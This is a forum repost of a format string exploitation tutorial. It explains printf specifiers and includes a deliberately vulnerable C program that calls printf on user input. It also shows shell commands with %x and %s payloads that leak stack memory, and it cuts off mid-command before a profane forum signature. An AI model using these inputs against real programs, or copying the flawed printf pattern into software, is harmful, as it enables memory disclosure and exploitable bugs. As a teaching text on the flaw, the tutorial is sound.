发新话题
打印

[转载]Format Strings (Gotfault Security Community)

[转载]Format Strings (Gotfault Security Community)

文章作者:xgc

Gotfault Security Community
                       (GSC)


---------[ Chapter : 0x400                          ]
---------[ Subject : Format Strings                    ]
---------[ Author  : xgc/dx A.K.A Thyago Silva            ]
---------[ Date   : 11/02/2005                      ]
---------[ Version : 2.5                           ]


|=-----------------------------------------------------------------------------=|

---------[ Table of Contents ]

  0x410 - Objective
  0x420 - Requisites
  0x430 - Introduction to Format Strings
  0x440 - The Format String Vulnerability
  0x450 - Reading Memory Addresses
  0x460 - Writing to Memory Addresses
  0x470 - Direct Parameter Access (DPA)
  0x480 - Overwriting Dtors Section
  0x490 - Overwriting Global Offset Table
  0x4a0 - Extra Analisys
  0x4b0 - Format String Builder
  0x4c0 - Conclusion


|=-----------------------------------------------------------------------------=|

---------[ 0x410 - Objective ]

This paper will show how the code can be vulnerable against format strings
attacks and how to execute arbitrary code.


---------[ 0x420 - Requisites ]

Memory Analisys/Introduction to Local Stack Overflow (Basic Module).


---------[ 0x430 - Introduction to Format Strings ]

Format strings are simply a string of characters, with special format string
identifiers. If you have programmed in C, you are familiar with functions such
as printf(). The printf function takes a format string as the first argument
and then variables which the format string will use.

To makes the corret use of the printf function, and others ones of the family, you
must specify a format specifier to be printed to the stdout.

Some of the common format specifiers used by printf are:

%c    The character format specifier.
%d    The integer format specifier.
%i    The integer format specifier (same as %d).
%f    The floating-point format specifier.
%s    The string format specifier.
%u    The unsigned integer format specifier.
%x    The unsigned hexadecimal format specifier.
%p    Displays the corresponding argument that is a pointer.
%n    Records the number of characters written so far.

Let's get analysis from some code.

#include <stdio.h>

int main() {

  char       *string = "Sample";
  int        A     = 72;
  unsigned int  B     = 50;
  int        one;
  int        two;

  printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A);
  printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B);
  printf("[string] %s Address %08x\n", string, string);

  printf("one is located at: %08x\n", &one);
  printf("two is located at: %08x\n", &two);

  printf("A is %d and is at %08x. B is %u and is at %08x.\n",
       A, &A, B, &B);

  return 0;
}

[xgc@knowledge:~]$ gcc -o fmt_example fmt_example.c
[xgc@knowledge:~]$ ./fmt_example
[A] Dec: 72, Hex: 48, Unsigned: 72
[B] Dec: 50, Hex: 32, Unsigned: 50
[string] Sample Address 080485a0
one is located at: bffffb18
two is located at: bffffb14
A is 72 and is at bffffb20. B is 50 and is at bffffb1c.

The first two printf() statements demonstrate the printing of variables
A and B, using different format parameters.

Following the output, the line labeled [string], simply shows the use of the
%s format parameter. The variable string is actually a pointer containing the
address of the string.

The next ouput of the example demonstrates the use of the unary address operator,
which have been showed the address of the variables.

Finally the last part of the code. When this printf() function is called
(as with any function), the arguments are pushed to the stack in reverse order.
First the address of B is pushed, then the value of B, then the address of A,
then the value of A, and finally the address of the format string.


---------[ 0x440 - The Format String Vulnerability ]

Sometimes programmers print strings using printf(string), instead of
printf("%s", string). Functionally, this works fine.
It&#39;s a bug, because printf() is expecting format string parameters,
If %s is forgotten(in this case) or simply ignored, printf will seek by the
format string identifiers in the buffer(or input) itself.

Check the code below:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

  char       buffer[64];
  static int   value = 50;

  if(argc != 2)
   return -1;

  strcpy(buffer, argv[1]);

  printf("Right way:\n");
  printf("%s\n", buffer);

  printf("Wrong way:\n");
  printf(buffer);

  printf("\n");

  printf("(-) value @ 0x%08x = %d 0x%08x\n",
      &value, value, value);

  return 0;
}


[xgc@knowledge:~]$ gcc -o fmt_bug fmt_bug.c
[xgc@knowledge:~]$ ./fmt_bug testing.
Right way:
testing.
Wrong way:
testing.
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$

It runs perfectly, so the programmer will not even notice anything, to test
this you just must to pass out a format string parameter to it.
This is simply done like the following.

[xgc@knowledge:~]$ ./fmt_bug AAAA%x
Right way:
AAAA%x
Wrong way:
AAAAbffffae0
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$



---------[ 0x450 - Reading from Memory Addresses ]


When the %x format parameter was used, the hexadecimal representation of a 4-byte word
in the stack was printed.
This process can be used repeatedly to examine stack memory.

Now if we want to know the address that points back to our string inputed, you would
have to atleast placed something in argv[1] + format string parameters. This allows it
to think the contents in name is an address.

[xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x
Right way:
AAAA%x%x%x%x
Wrong way:
AAAAbffffae04008978e4014a8804014a870
(-) value @ 0x0804960c = 50 0x00000032

Let&#39;s fill more.

[xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x%x%x%x%x
Right way:
AAAA%x%x%x%x%x%x%x%x
Wrong way:
AAAAbffffad04008978e4014a8804014a870bffffad440030c854014a88041414141
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$


The four bytes of 0x41 indicates that the eight format parameter is reading from the
beginning of the format string to get its data.

But if a valid memory address is used, this process could be used to read a string
found at that memory address. Let&#39;s do something to demonstrate it.

[xgc@knowledge:~]$ gdb ./fmt_bug -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /home/xgc/fmt_bug

Breakpoint 1, 0x080483fa in main ()
(gdb) x/s 0xbffffffa-100
0xbfffff96:    "UAGE=en_US:en_GB:en"
(gdb)
0xbfffffaa:    "LOGNAME=xgc"
(gdb)

The address of the string "xgc" is located at the 0xbfffffae. Let&#39;s use the format string %s
and %x with the exact location of our input using format parameters.

[xgc@knowledge:~]$ ./fmt_bug `printf "\xae\xff\xff\xbf"`%x%x%x%x%x%x%x"->"%s
Right way:
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题